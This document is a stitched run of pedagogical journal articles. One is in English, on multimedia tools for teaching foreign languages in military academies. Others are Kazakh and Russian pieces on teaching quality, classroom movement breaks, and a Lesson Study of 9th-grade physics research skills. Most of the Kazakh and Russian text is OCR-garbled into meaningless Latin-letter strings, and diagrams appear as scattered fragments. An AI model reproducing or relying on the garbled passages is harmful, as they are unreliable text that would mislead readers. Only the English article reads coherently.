CTYAEHTTEPAIH, KeKke KabineTTepi MeH myaaenepiH eckepy. MHTEPaKTUBTINIK NPUHLMUMT — OKbITY
HapbiCbiHAa CTYAEHTTEP MEH OKbITylIblAap apacbiHAafbl ©3apa 6enceHai KapblM-KaTblHACTbI
KaMTamacbI3 eTy. Y3/4ikci3 6inim 6epy npuHUMAi — »Kofapbl 6inim bepy Tek Teopuanblik binimmer
LeKTeIMeN, MPaKTUKaNbIK AafablNapdbl A3 AaMbITybl KaXKeT.

3amaHayu negarormkaablK TeEXHOAOrMANap:

KpeauTTiK OKbITY sKyheci — BifiMm anylibliapabliH, OKY KYKTeMeCiH Tuimai 6acKkapyra MYyMKiIHAIK
bepeni.AKNapaTTbiK-KOMMYHUKAUMUANLIK TexHonoruanap (AKT) — uudpabik nnatdopmanap,
MYNbTUMEAMANBIK,  pecypcTapabl KonaaHy. [lpobnemanbik OKbITYy — CTyAeHTTepAi 3epTrey
KYMbICTapbiHa OafbiTTay. MobanblK OKbITy — HiniM anyliblNapablH, NPAKTUKANbIK AaFablNapbIH
KeTinaipy.

ofapbl mekTenTeri 6inim bepyain, TMiMmainirine acep eTeTiH dakTopaap:
OKbITyWbIapablH, Kacibn OinikTiNiri — negarortapAplH, Y34iKCi3 Aamybl MeH KaHa ajicTepai
MEHrepyi.

Oky bOarpapnamanapbiHbliH, ©3eKTifir — Hapblk TananTapbiHa cal »KaHapTblaFaH binim Gepy
Ma3MyHbl.
CtyneHtTepaid, 6enceHpiniri  MeH MOTMBAUMACBI — OKbITY 9AICTEPIH  CTYAEHTTEPAIH

KbI3bIFYLLbI/IbIFbIHA COMKECTEHAIpY.
OKy opTacbliHblH, 3aMaHayW/blfbl — YHUBEPCUTETTEPAErN WMHPPAKYPbIIBIM MEH MaTepuaniblK-
TEXHUKA/bIK KababIKTanybl.

KopbITbIHABI:

ofapbl MmeKkTen nepgarornkacbl — 6yn 6inim anywblnapablH, UHTEANEKTYaNabl, WbiFapMaLlbl/iblK
YOHe Kacibu aamybliHAa MaHbI3abl P/ aTKapaTbiH cana. 3amaHayu neaarorMkanblk a4icTep MeH
TEXHONOTMANAPAbl KONAaHy apKblibl *KOFapbl Binim HGepy KyMeciHiH, canacbiH apTTbipyFa XKoHe
bonawak mamaHaapAbiH eHOeK HapblfbiHAa Oacekere KabiNeTTiNiriH KywWenuTyre MyMKIHAIIK
6epeai. binim 6epy npoueciHiH TMIMAINIr OKbITYLWbINAPAbIH MHHOBALUMAbIK 34iCTEPi MeHrepyiHe
oHe CTyAeHTTepaiH, OenceHai OKy ic-opekeTTepiHe Tikenel 6HannaHbiCcTbl. byn dakTtopnap
CTYAEHTTEepAiH Kacibu AaFablnapbiH AaMbITyFa, KeKe TyNfa peTiHAe KanbinTacyblHa KaHe KoFamFa
nanaanbl MamaHaap peTiHae WblFyblHa bIKNan eTeai.

OKbITYWbIapAblH, Y34iKCi3 Kacibn gamy meH MHHOBaUMANapAbl eHTi3yi, CoHAan-aK, CTyAeHTTePAiH,
Toipmbenik JafabliapblH XEeTINLipy YWiH Kafaan Kacay, KorFapbl binim 6epy sKyMeciHiH, canacbiH
apTTbipyAa MaHbI3abl Kagam 60bin Tabbinagpl. CTyaeHTTepAiH, 6enceHai KaTbiCybl, CypaK Kotobl,
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nikipTanacTapfa KaTbICybl OKY MPOLECIH TUIMAI eTeAi KaHe onapapiH bonallak mamaH peTiHae
NaNbIHABIK AEHTeMiH KaKkcapTadbl.
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EFFICIENC OF USING MULTIMEDIA
TECHNOLOGIES IN TEACHING FOREIGN
LANGUAGES IN SPECIAL MILITARY
EDUCATIONAL INSTITUTIONS
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The article considers the possibility of using multimedia technologies in the study of foreign
languages in military special educational institutions. The study and analysis of the use of
multimedia technologies in the process of teaching a foreign language was carried out. It is noted
that multimedia technologies are an effective tool that allows cadets to master the material well,
improve their foreign language communication skills and increase their interest in studying.

Keywords: multimedia technologies, foreign languages, interactive reading, multimedia
products, language environment.

Introduction. The customs space requires the skills of multicultural dialogue based on the
knowledge of foreign languages and knowledge of the peculiarities of foreign language culture,
these same skills create effective relationships in a foreign language environment in order to solve
professional problems, it is necessary to synthesize knowledge and competency in order to
effectively solve professional issues. visual information plays an important role in human life.
Given that 90% of people receive data through a visual channel, it is determined that multimedia
technological processes (multimedia) are the best tool in the current educational process.
Multimedia technology processes are innovative computer information technology processes that
allow combining various media files - images, documents, audio and video files into one product.
Exposing material to the screens of projectors or monitors allows you to look deeper into the
subject of lesson, to illustrate important objects, phenomena and processes [1].

Learning tools or multimedia learning tools that are built on the basis of multimedia
technologies allow you to organize the learning process, include instrumental tools that provide
automatic creation of basic elements (audio, text, graphics, video information) and enable them
to be added in a single software module (multimedia application) [2].

The relevance of the article. Active participation of our state in the process of globalization
and expansion of foreign economic relations the level of foreign language competence of border
service officials the need to increase. First of all, this applies to border control officers who have
to contact foreign nationals during the implementation of border control and the verification of
documents. Language is an important attribute that determines the internal and external relations
of the state as a whole. Therefore, the language is of special importance in political, social and
spiritual relations. In the modern world, international economic relations require military
specialists to learn several foreign languages in order to interact with representatives of other
countries and participate in international operations.

The use of multimedia tools in the educational processes for teaching foreign languages
contributes to the implementation of the traditional didactic principle of visual ity and the modern
principle of interactivity in the educational process [3].

The use of multimedia technologies in foreign language training in the military sphere is of
high relevance for several reasons: effectiveness of training, flexibility and accessibility, contextual
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training and interaction and communication. Effectiveness of teaching: multimedia technologies
allow learning through multisensory practice, which improves the memory of the material and the
understanding of students. Flexibility and availability: Technology allows students to choose their
learning pace and method, as well as access materials regardless of location. Contextual training:
multimedia technologies allow to create training materials aimed at specific scenarios and
objectives of military personnel, which increases the practical application of their motivation and
knowledge. Interaction and communication: technology allows creating an environment for
remote communication and cooperation, which is especially important for military personnel in
different parts of the world. All these factors indicate the relevance and perspective of the use of
multimedia technologies in the study of foreign languages in the military sphere.

Mark a problem. In the military field, the use of multimedia technologies in the teaching of
foreign languages can improve the effectiveness of training and improve the level of language
skills among military personnel. Multimedia technologies such as interactive curricula, audio and
video lessons, and online learning platforms allow cadets to access different learning materials,
allowing them to learn languages in different formats and in different ways. This can make learning
interesting, effective and consistent with the different learning styles of students. The military
sector sets special requirements for the teaching of foreign languages, because the professional
responsibilities of military personnel are often associated with different levels and different
circumstances. Multimedia technologies offer many tools for teaching foreign languages, but their
application in the military field can face several challenges.

First, the use of multimedia technologies requires access to special equipment and
software, which can be difficult in a military situation, especially in remote areas.

Secondly, the effective use of multimedia technologies requires not only technical skills,
but also pedagogical experience in order to create quality educational materials and curricula. In
addition, it is necessary to take into account the specifics of the military service in the educational
process and ensure the adaptation of educational materials to the specific needs of military
personnel. Thus, the use of multimedia technologies in the field of foreign languages in the military
sphere is a complex task, requiring a comprehensive approach and taking into account the
specifics of this field.

Analysis of recent research and publications. To date, the use of virtual interactive virtual
technologies in education has not yet been widely considered in scientific and methodological
literature. But there is a growing interest in the introduction of this technology into the system of
secondary and higher education by domestic and foreign researchers. The works of Abdykalikova
A., Beisembaeva Zh., Dukembay G., Turusheva L., Rolgaizer A.A., Selivanov V.V. and Selivanova
L.N., Jose E.G., Sosnilo A.l. are dedicated to certain aspects of the study of virtual technologies in
education [5,6,7]. It considers the possibilities of educational programs based on virtual
technologies, as well as their impact on the thinking and psychological state of the individual. The
authors explain virtual reality as a special information environment in which objects appear in
three dimensions, using the effect of animation and presence.

The purpose of the article. The purpose of the article is to study and analyze the use of
multimedia technologies in the process of teaching foreign languages in military educational
institutions. The study of multimedia technologies is an effective tool that allows cadets to master
the material well, improve their foreign language communication skills and increase their
motivation to study.

The article considers the advantages of using multimedia technologies, such as an
interesting and interactive teaching format, the ability to customize the learning process,
availability, etc.

Examples of successful use of multimedia technologies in the teaching of foreign languages
in foreign military educational institutions will also be considered. Based on the analysis, a number
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of recommendations will be made to optimize the use of multimedia technologies in the
educational process.

Research methods. The study was carried out using the following scientific methods:
Analysis of literature: the study of existing scientific research and publications on this topic to
determine the main trends and results. Historical analysis: to study the experience of other military
academies or educational institutions in the field of the use of multimedia technologies in teaching
foreign languages and to identify successful practices and suggestions for introduction into
practice. Control: study of the training process using multimedia technologies in practice and
analyze the effectiveness of this approach. Content - analysis: research to determine the content
of educational materials, features of their provision and the impact on students, which are made
using multimedia technologies. Cognitive research is a study of the cognitive processes that occur
in the brains of students when using multimedia technologies, as well as their impact on the
memory of foreign words and phrases.

These methods will allow assessing the future and effectiveness of the use of multimedia
technologies in the educational process in military educational institutions for the teaching of
foreign languages.

Basic material storytelling.

The objectives of the use of multimedia teaching tools in the educational process include:
improving the motivation of the cognitive activity of students; reduce the time it takes to search
and study the information required in the modern conflict between the limited amount of time
and the growing flow of information; variety of training facilities, access to different sources of
information, convenience of obtaining it; collective knowledge and collaboration of educational
activities of students; increase the cultural level of students. To improve the learning process,
multimedia resources offer the following features (Figure 1)

Visualization of abstract
information and dynamic
processes

4

Simultaneous use of several
channels of perception in the
learning process, which helps to Imitation of real situations
integrate information delivered
by different senses

\

y

The development of cognitive structures of the
individual, which includes the material being taught,
which includes educational, historical, social contexts,
and also forms a systematic interpretation of the
studied material for the cadets.

Image 1 - Benefits of multimedia resources in improving the learning process

Note: compiled by author [2,3]

The use of different technologies allows cadets to implement a differentiated approach by
creating conditions for their own work. The use of methodically well-designed online materials
helps to replace the paper's visual aids, frees the teacher from writing on the board, allows for
dynamic monitoring of the material of the lesson.
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The great advantage of using technologies compared to traditional methodical
visualization tools is the convenience of copying and distributing them with the ability to store,
copy and edit. The colorful reading material on the screen will increase the interest and interest
of students to study.

Nurpeisova Zh., Abdykalikova A., Beisembaeva Zh., Dukembay G., Turusheva L. and their
brief description are presented in table 1 [4].

Table 1 - Multimedia products and their brief description

Multimedia Description
product
1 E-tutorials, A software tool to facilitate active understanding and memory by
multimedia using your computer in the learning process, which includes hearing
educational and emotional memory. This is not only text information, but also the
materials of | entire technology of information delivery to the consumer, namely:
subjects multimedia components; interactive elements; controls; powerful

search engine; hypertext reference system; additional service
features (bookmarks, notes, issuance); convenient readability;
synchronous listening and much more (Popov, Casino, Mozerova,

2021).

2 Multimedia A modern educational tool that combines the advantages of different
encyclopedia, multimedia technologies makes it easier to accept even the heaviest
multimedia reading material. Unlike traditional encyclopedias or lectures,
lectures multimedia encyclopedia and lectures may contain not only text and

graphics, but also video and audio recordings, 3-D charts, graphics,
etc. (Tamarana, 2019).

3 Electronic didactic | Visual material that reveals the actions or processes required by the
tools teacher to explain the new reading material to the students;
animated historical and geographical maps, electronic laboratory
works (Young, Bush, 2000)

4 Movie about | A film about important events. Video congratulations, corporate
events holiday, anniversary, assign categories, titles, awards, merge or
expand, launch new product or production resources, open new
sites, (Tamarana, 2019)

5 Premiere film A film about the field of activity of educational institutions,
companies, providing special quality products, services, promotions,
discounts, classic and original services, guarantees and other
opportunities.

6 Presentation Films | History of educational institutions, enterprises, basic types of
activities, characteristics of resources and processes, achievements,
prospects, employees, goods, services, partners, market segments
covered.

7 Movie showcase A video sequence to be shown in a shopping center or exhibition hall.
The video display is successfully used in conjunction with other
videos (video clips, movies) (Motteram, 2019).

8 Video Directory The video catalog of the company's products and services provides
information on the competitive advantages of digital and qualitative
characteristics of each item. You can improve efficiency by combining
a video catalog with other videos.
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9 Educational video | Didactic videos, which the teacher can use in the classroom to explain
new learning material or improve the learning of students.

10 | Digitalization  of | Transformation of paper sources into electronic (digital) format
books (Kennedy, Soifer, 2019).

11 | Electronic library | Transformation of paper sources into electronic (digital) format
(Kennedy, Soifer, 2019).

Data source: RURAL ENVIRONMENT. EDUCATION. PERSONALITY. Vol.13. ISSN 2255-5207
Jelgava, 8-9 May 2020 [4]

In recent years, new technologies have had a significant impact on the improvement of the
education system and have become an important area of restructuring of general and higher
education. The main educational value of information technology is that it allows them to create
a multisensory interactive learning environment with almost infinite potential opportunities
arising in the teaching and learning environment. Information technologies allow not only to
saturate teaching with a large amount of knowledge, but also to develop the intellectual and
creative abilities of students, their ability to learn new knowledge, as well as to work with different
sources of information. Use media.

Technology, for example: Padlet, Cavas, Socrates, Kahoot, Hot Potatoes, Google Formes,
PowerTalk helps to increase the desire to study a particular subject, to study material more deeply,
to develop skills in searching, analyzing and structuring information, and ultimately creating
common cultural and professional competencies defined in modern educational institutions [7].

Multimedia technologies play an important role in the teaching of foreign languages,
including in military educational institutions. Research shows that the use of multimedia tools in
teaching foreign languages contributes to the development of material more effectively,
improving foreign language communication skills and increasing the students' interest.

One of the main advantages of using multimedia technologies is the ability to create
interactive and adaptive educational materials that can be personalized according to the specific
needs and abilities of each student. This will make learning more efficient and satisfactory for each
student.

At the same time, multimedia technologies allow to create real conditions for the
application of speech skills, which contribute to the development of communication skills in a
foreign language. They will also develop multisensory intake of students and help them to absorb
new material well.

Total. Use interactive curricula. Cadets will be able to use special programs that offer
interactive tasks, audio and video lessons, tests and games to improve their foreign language skills.

Use of multimedia materials. Cadets can learn a foreign language by using multimedia
materials such as audio and video recordings, movies, news programs, etc. to improve their
understanding of the language by hearing and to develop pronunctual skills.

Virtual excursions and guided videos. Cadets can learn a foreign language through virtual
excursions and reading videos that help them understand the linguistic and cultural characteristics
of the country in which they are learning the language.

Use multimedia dictionaries and grammar resources. Cadets can use multimedia
dictionaries and grammar resources to deepen their knowledge of foreign language by learning
new words, idioms, grammar and pronuncation rules.

Online training and teleconferences. Cadets can participate in online training and
teleconferences to communicate with teachers and colleagues, discuss lessons, teaching materials
and train conversation skills.
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As a result of the study, it is possible to conclude that the use of multimedia technologies
in the teaching of foreign languages in military educational institutions is an effective and
necessary component of modern education.
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[IMHaMMYeCcKMe nepemMeHbl, Kak
MHCTPYMEHT POPMMPOBAHUA y4ebHOM
MOTUBALUMN 1 340P0BOTO 06pa3a *KMU3HU
VYaLMXCA

EpmekbaeBa Akmapan TyneHamMeBHa

Yuutenb-akcnept NIS, marnctp punonornm, Hazapbaes MHTeNnNeKTyaNbHbIE WKObI, T.
LLIbiIMKeHT, Ka3axcTaH

Theynos Epbon IpHcTOBUY

Yyntenb-akcnepT NIS pur3myeckom KynbTypbl, MarucTp neaarormkun, Hasapbaes
NHTennekTyasbHble WKobI, . LbiIMKeHT, Ka3axcTaH

CoBpemMeHHble 0bpasoBaTesibHble Noaxoabl TpebyeT 3PPEKTUBHbIX MeTodoB  AnA
noaaepaHusa paboTocnocobHOCTM M BOBAEYEHHOCTM y4yawmxcAa. OAHUM M3 TaKMX MeTOoOoB
ABNAOTCA  AMHAMWYECKME MEPEeMEeHbl, BK/IOYAOWIME KOPOTKME  OU3KYIBTMUHYTKU. Takue
AaKTMBHOCTM OKa3blBAOT 3HAUUTEIbHOE BAMAHME HA SMOLMOHAIbHOE COCTOAHME, KOHLLEHTPALLMIO
M aKaZeMMYeCKyl yCneBaeMoCTb Yy4allmxcA. ITOT MeToh, MO3BOJIAET He TO/NbKO MNOBbICUTH
apdeKTMBHOCTL y4ebHOro npolecca, Ho 1 CHoOPMMPOBATHL Y YHALLMXCA OCHOBbLI 34,0P0OBOr0 0Hpasa
HKU3HM.

[AnHammyecKkaa nepemeHa - 3TO KOPOTKMUIA NepepbiB MEXKAY YPOKaMM UK BO BPEMSA 3aHATUA,
npeaHasHayYeHHbIn Ana GU3MYECKOW aKTMBHOCTU. ITK nays3bl
BAPbMPYIOTCA OT 3 A0 7 MUHYT M BKIKOYAKOT YNPAXKHEHWUA Ha
B PacTAXKY, KOOPAMHAUMIO, [AblXaHWe WM NPOCTO NErKyto
- PasMUHKY. WX Uenb aKTMBMPOBaTb  KpoBOODHpalleHMe,
YAYYWNTb CHabXeHMe Mo3ra KMCNIOPOAOM W CHU3UTb
HaKoMnMBLUeecs HanpseHwe. [MHaMUYECKMe nepemeHbl
BOCMMTbLIBAIOT Y YHALMXCA OCO3HAHWE 3HAYMMOCTU ABUKEHUA
M aKTMBHOCTM B MOBCEAHEBHOW XWM3HWM. ITO OCODEHHO BAXKHO B YCAOBMAX COBPEMEHHOMO
ManNonNoABWKHOTO 06pasa KM13HM.

PerynapHble GU3KYAbTMUHYTKM CNOCOBCTBYIOT YIYYLLIEHNIO KOTHUTMBHbIX GYHKLMIA, TAKMX KaK
BHMMaHMeE, NaMATb U CKOPOCTb 06pPaboTKM MHbOPMaLMK. MccneaoBaHWA NOKA3bIBAKOT, YTO Noc/e
OAMHAMMYECKOM nepemeHbl yyallMecs Aydlle CnpaBasioTcA C  3aZaHuAMM, Tpebyrowmmm
COCPeZloTOYEHHOCTU. Ha ypoKax s3blka WM AMTepaTypbl, rAe OCHOBHOE BHMMaHMe yaenaercs
YTEHMIO, MWUCbMY M aHaAM3y TeKCTa, Harpy3ka Ha BHMMAHWE W KOTHUTMBHbIE CMOCOOHOCTM
0CObBEeHHO BbICOKA. [IMHaMUYeCcKne nepemeHbl Mo3BOAIOT CO34aTb HanaHC MexKay YMCTBEHHOW U
dU3nYecKom AeATENbHOCTbIO, YTO CNOCOOCTBYET NOBbIWEHWIO KayecTBa BOCMPUATUA maTepuana.
Mocne akTMBHOIO NepepbiBa yyallMeca CTaHOBATCA 6osiee BHUMATEIbHBIMM U YCUAYMBBLIMMN.

®dun3nyeckan akTMBHOCTb BO BpeMA NMepPeMEH y/ydllaeT SMoLMOHanbHoe cocToAHme. CornacHo
NCCNe0oBaHNAM, AaXKe KOPOTKasd pasMmHKa cnocobcTByeT BbipaboTke 3HAOPPUHOB rOPMOHOB
1 W paZoCTW, KOTOpble MOMOratoT CHM3UTb YPOBEHb CTpecca.
YUYeHMKN BO3BpALLAOTCA K 3aHATUO 6onee 60aApbIMK U
3aMHTEepPEeCOBAHHbIMM. Kpome  TOro,  BbINO/HEHME
yrpaxKHeHWI B rpynne yKpPenaseT YyBCTBO CM/IOYEHHOCTM
Knacca. CoBMeCTHble OU3KYNBTMUHYTKM 4acTo
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CONPOBOXAAKTCA BECENOM  My3bIKOW WAM  UTPOBBIMM  dNEMEHTAaMK, YTO cnocobcTayeT
bopMMpPOBaHNMIO NO3UTUBHOM aTMOChEPLI Ha YPOKE.

MpaKTUYecKkme peKkoMeHaaumMmn ANA BHeAPEHNA

1. OnTuManbHaa AAnNTeNbHOCTb GU3KYAbTMUHYTKN 3-5 MUHYT. VX MOXKHO NPOBOANTL B cepeanHe
YPOKa MK BO Bpems nepemeHbl. KopoTKkne 1 perynspHble akTMBHOCTU Bonee addeKTUBHbI, Yem
peaKkue U aanTensHble.

2. BkntoyaliTe npocTble 1 6e3onacHble ABUMMKEHMA. Hanpumep:

- [MoBOPOTbI FONIOBbI M NAEY ANA CHATUA HAaNPAXKEHUA;

- JIErkne HaKkNOHbI N NpUCeaaHmns;

- YNpaxHEHNA HA KOOPAMHALMIO, TaKUE KaK «MPbIXKKU 3BE3N0UKMY;

- MirpoBble 3agaHKsa, Tpebytouime ABMraTeNlbHON aKTUBHOCTM, HAaNPUMep, NepeMeLeHne No Knaccy
WNW BbINONHEHME 334aHHbIX NO3.

3. CBA3bIBalTe GU3MYECKYHO aKTMBHOCTb C MAaTEPUANOM YPOKa. Hanpumep:

- «JluTepaTypHas pasMmMHKa»: yHeHMKM M300ParXKatoT KecTaMm NepCcoHaXKen Npom3BeaeHus;

- YNparKHeHMA Ha COCTaBNeHMe CIOB: Warn BNepés, - 3a Kaxxayro HalaeHHyo byKBy.

4. AKKOMNAHWPYMTE yNpaxKHEHWA PUTMUYHOM My3bIKOW, KOTOpaA CO343ET MONOKUTENbHbIN
HacTpoi. na 6onbwero sdpdpekTa MOXKHO MCNONB30BATb BUAEOPOMNKNA C ABUKEHUAMM, KOTOPbLIE
YYEHMKN NOBTOPAIOT.

5. MNepuroamnyeckn cnpallnBanTe yyalMxca, Kakne ynpaxHeHa nm HpasaTca Honble Bcero. 310
MNOMOXKET caenaTb NnepemeHbl Hosee MHTEPECHbIMM U MOTUBMUPYIOWMMUM ANA KNacca.

6. CocTaBbTe pacnucaHue GU3KYNIbTMUHYTOK, YTODbI YYEHWKM 3HANW, KOrda MX OXKuAaTb. ITO
CO3aET OXKMAAHME U ANCUMNANHY, 0bneryaa BHeApeHWe B y4ebHbIN npouecc.

Mpumepbl yNnparKHeHUM ANa AMHAMUYECKUX NepemeH
1. PazamunHka «Cobepu cnoso». YumTenb HasbiBaeT OYKBbI, KOTOPbIE YYEHWKM A0MKHbI M306pa3nTb
TeNoMm. 3aa4a Knacca — CNOXKUTb CNOBO, NepemMeLLadch No KAaccy.

2. «JlocTaHb 06naKko». Yyallumeca BbITATMBAKOTCA BBEPX, KaK OyATO MbITatoTCA AOTAHYTbLCA A0
HeBMAMMOro obnaka. 3aTem AeNatoT HaKNOHbI B CTOPOHBI, YTOObI «cobpaTh» Honble 061aKoB.

3. «MMnwmn Hocom». Y4yalumeca NpeAcTaBAAloT, YTO MX HOC — 3TO pyyKa. OHM NUWYT CNOBa UK
dpasbl B BO3AYXE, BKIOYAA TEKCT M3 M3yYaeMbIX NPOU3BEAEHMN.

4. «3apsaaKa repoes». YY4eHUKN pasbirpbliBatoT ABMMKEHMA, XapaKTEPHbIe ANA repoeB NPOYUTAHHbIX
npowsseaeHui (Hanpumep, Wwarn 6oratblps, ABUKEHMA INCbI U3 CKA30K).

5. «Kpyr vt AMHUMY». YYEHUKN YepTAT KPYru B BO3AyXe OAHOW PYKOM, @ APYron PUCYIOT IMHWUK. ITO
ynpa*kKHeHne pa3BMBaeT KOOPAMHALMIO U CHMMAET yCTaNoCTb.

6. «Opdorpaduyeckas actadeTa». Knacc aenmtca Ha KOMaHAbl. Y4acTHUKM BeryT K AOCKe, rae
HY*KHO HanMcaTb C10BO MM MCNPaBUTL OWMOKY. [locne BbINONHEHWA 3aZaHNA NepeaatoT acTadeTy
cneaytoLLemy Urpoky.

[OnHammueckme nepemeHbl - 3TO MNPOCTOM M AOCTYMHbIA WMHCTPYMEHT ANA MNOBbIWEHNA
abpdekTMBHOCTM yyebHOro npouecca. OHW yAyYWatOT HACTPOEHWME YYaALWIMXCA, YKPENAAT WX
3710poBbe U cnocobcTayoT 6osee rnybokomy ycBoeHMo matepmrana. OcobeHHO Ha ypOKax sA3bliKka
W AMTEepaTypbl, rae TpebyeTca BbICOKAA KOHLUEHTPAUMA M BHUMaHME K AeTanam, GU3KYAbTMUHYTKM
NOMOraloT €O034aTb FAPMOHMYHOE CcOoYeTaHMe YMCTBEHHOM U (GU3MYECKOM aKTUBHOCTU, YTO
NONIOXKMTENbHO CKA3bIBAETCA Ha pe3y/ibTaTax obyveHus.
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KaK BbINoNHEHMe 17abopaTopHbIX paboT
yyalmMmmca 9 Knacca Ha YpoKax PU3NKK
PA3BWBAOT MCCNEN0BaTENbCKME HABbIKK

Kacbimbaesa baxbIT ANTKEHOBHA
yuntens dusnkm HULL XBH r. KaparaHab!

AHHOTauuA

Lesson Study aacbiHaoa KapafaHgbl KanacbiHaasbl XBB H3M ¢usmka myranimaepi 9-CbiHbIM
OKYLLbINAPbIHbIH, 3€PTXaHa blK MKYMbIC Ke3iHae 3epTTeylWinik AafablnapbiH AaMbITy GoMbiHLIA
3epTTey Kyprisingi. OKYLWbIHbIH, irepineyiHe biknaa eTeTiH MyFanimaepaiH, Kepi 6aliaHbiCbiH
Tanzan oTbIPbIN, XKYMbICTbIH, alMKbIHAAAFAH TyCTapbl 6enrineHai.

AHHOTauuA

B pamkax «lLesson Study» yumtenamm ¢msmkm HUL XBH r. KaparaHgbl npoBeeHo
nccnefoBaHMe No PasBUTUIO MCCeA0BaTENbCKMX HAaBbIKOB yYalLMXCA 9 KNacCoB Npu NpoBeaeHNN
nabopaTopHbIx paboT. BbliaeneHbl Obinn onpeaeneHHble MOMeHTbI PaboTbl, aHANN3NPYSA KOTOPbIE,
yunTena nasanm obpaTHYH CBA3b, CNOCOOCTBYIOLLYO NPOABUMKEHMIO YYalllerocs.

BBogHasA 4acTb M HOBM3HA

NIS - Programme, ucrnosib3yemass B npouecce obydeHus ydawmxca HULL,
npeaycMmaTpMBaeT AOCTMKEHMA yYaLlMMMUCA onpeaeneHHblix Lenen obydyeHns, pa3BuTe HaBblKOB
PA3HOro YPOBHSA.

Yyauimecs noay4atoT HaBblKK UCCeA0BaHMA B 00yYeHUM HENOCPEeACTBEHHO Ha YPOKax Npwu
NPOBeEHNN IKCMEPUMEHTA/IbHbLIX PAbOT, K KOTOPbIM OTHOCUTCA BbINOSIHEHWE nabopaTopHbIX
paborT.

B npoBegeHHOM WCCAEA0BAHUM OCHOBHOE BHMMaHWE ObIIO yAENEeHO CcaeayroWmm
MOMEHTaM

«4.5. MNMpeobpa3oBaTb cBeXME UAKM 0b6paboTaHHble AaHHble U3 Tabaulbl Pe3ybTaToB B
apyront dopmat, Hanpumep, rpaduk.

4.6. ObcyamTb KAa4yecTBO AaHHbIX, MOJIYYEHHbIX B X04e UCCAea0BaHmA

4.7. ToyHo oTOobpakaTb pe3ynbTaTthl B BbibpaHHOM dopmaTte, Hanpumep, ans rpaduka,
MCMONb30BaTb COOTBETCTBYIOLLEE Ha3BaHWe, BblOMpaTb Nnoaxodsuwme macliTabbl, NpasBubHO
obo3Ha4yaTb OCKM KoopAMHAT MU B c/iydae HeobXoAMMOCTM WMCMONAb30BaTb JAMHUIO HaWaydllero
COOTBETCTBMA.

5.3. OueHuUTb NpeumyLlecTsa/HegoCTaTkM UCCAeA0BaHUA U NPEASOXUTbL NyTU KX
COBEPLIEHCTBOBAHMS.

5.6. Micnonb3oBaTb M COBEPLUEHCTBOBATL Hay4Hble MOAENM, CUMYANPYIOLLME dU3MYecKme
npouecch! 1 asneHns.» [1]

UccnepoBaHue.

Halwe nccnenosaHune no npobneme «Kak BbiNoAHeEHWe NabopaTopHbIXx paboT yYalummmcs 9
Knacca Ha ypokax GM3MKM pPa3BMBatOT MCCAe0BaTENbCKME HABbIKMY» CMOCODCTBOBA/O BbIABNEHWNIO
3aTPYAHEHWI yYallMXCA, OKa3aHWI0 MM MPAKTMYECKOM MOMOLWM MO  [OCTUMKEHMIO ycrnexa B
npouecce obyyeHna OGU3MKKM, NpU NPOBEAEHMM WUCCNeAOBaHMA MPU BbINOAHEHUM pPaboT Ha
NPaKTUYECKOMN YaCTM 3K3aMEHA 3@ KYPC OCHOBHOM LLIKONbI. POKYC OblN CKOHLEHTPUPOBAH Ha Tpex
yyqalwmxca 9 Kaaccos, MMEOWMX pasHble YPOBHM NOArOTOBAEHHOCTM. [lo pesynbTaTam
3KCNepuMMeHTa BbipaboTaHbl pekoMeHAaLUMK ANA yuntenemn Gusmnkm.
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Hamu BblAeNeHO WeCTb OCHOBHbIX MOMEHTOB, MO KOTOPbIM yyalumecs Habupanu Hanbonee
HW3KKMe Bannbl:
HaBbIKM MNPABUIbHOTO CHATMA NoKasaHui (1)
HaBbIKM NOCTPOEHMA rpadurKos (2)
aHanus rpaduka n onpeaeneHune rpaaneHTa (3)
onpeaeneHne GU3NYECKOM BEAMUYMHDI MO rPaameHTy (4)
HaBbIKW BbIABNEHWNA BO3HMKHOBEHMWA 3aTPyAHEHWI N0 pe3yabTaTam paboTsl (5)
NyTU pelleHna BO3HUKLLIMX 3aTPYAHEHNN (6)
Pe3ynbTaTbl MCCNEA0BAHWA NPeACTaBAeHbl B CAeAyOWNX AMarpammax.

YVVVYVYVVY

Yuenuk 1

Ihhih

m UccneposaHue 1 WccneposaHve 2 W WccneposaHue 3

N

N W

UccneposaHue 3

[N

Nccneposanue 1

puc.1. Auazpamma pazeumus ucciedosamesbCKux Hagblikos YueHuka 1

YuyeHuk 2

UccneposaHue 3

o B N W B~ U

UccneposaHue 1

m Wccneposanve 1  mWccneposanne 2 m Wccneposanue 3

puc.2. lugzpamma pazeumus ucciedosamesbCKux Ha8blKos YYeHuKa 2
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Yuenuk 3
5
4
3
2
UccneposaHue 3
1
0 UccneposaHue 1
1 2 3 4 5 6
m Wccneposarve 1  mWUccneposanve 2 | UccneposaHue 3

puc.3. Juazpamma pazsumua ucciedosamesnsCKux HagolKos YyeHuka 3

Kak Buaum u3 guarpamm (puc.l, puc.2, puc.3), y Y4YalMXCH YPOBEHb AOCTUMEHUN
nepBoOHaYanbHO ObIN pasHbIM. Yuaulmiica 1 (puc.1) umen xopolume HaBbikM paboTbl ¢ Npubopamm
(1), y yqauwieroca 3 (pu1c.3) A0CTaTOYHO Pa3BUTbl OblIM HaBbIKM paboTkl ¢ rpadukamm (3). Yuawmiica
2 (pnc.2) B 4OCTATOYHOM CTENeHN Mmen HasbikK 1, 2, 3, 5, 6. To ecTb npeacTonna bonbwana paboTa
KaXAoMy Mo AOCTMXKeHMIO Honee BbICOKMX Pe3ynbTaTos.

B obpaTHOM CBA3M yunTENb AaBaN NOAPOOHbIE peKoMeHAaLMM MO yaydlweHUo paboTbl, No
pacnpefeneHnto BpeMeHW Ha onpeaesneHHble 3Tanbl paboTbl, obpallan BHMMaHME Ha
HeobX04MMOCTb YYULLIEHNA BbIMMCAUTENBbHBIX HABbLIKOB, TaK KaK OT 3TOTO 3aBUCUT GOPMYANPOBKa
BbIBOOB MO pe3yabTaTtam paboTbl.

Kak BMAMM W3 AMarpamm, y4almxcA CpPaBHMBAAM C CaMMMWM COBOM, yuMTbIBaA MX
nepBOHaYaIbHbIA YPOBEHb B Havase UCCAefoBaHMA M ABa NOCAEeAYOWMX YPOBHA B CAeAYIOLLMX
nccnefoBaHMAX.

CpaBHMBaA pe3ynbTaTbl KaXKAOrO y4alleroca C HavyalbHbIM MCCNEAOBAHMEM, MOXHO CAeNaTb
BbIBOZ, YTO YPOBEHb MCCNEA0BATEbCKMX HABBIKOB Y Al@HHbIX YYaLLMXCA YBEANYMACA.
BbiBOABI M pekomeHaauunun.

MccnepgoBatenbckaa AeATENbHOCTb — OAWMH W TNaBHbIX KOMMNOHEHTOB 06pa3oBaTebHOMo
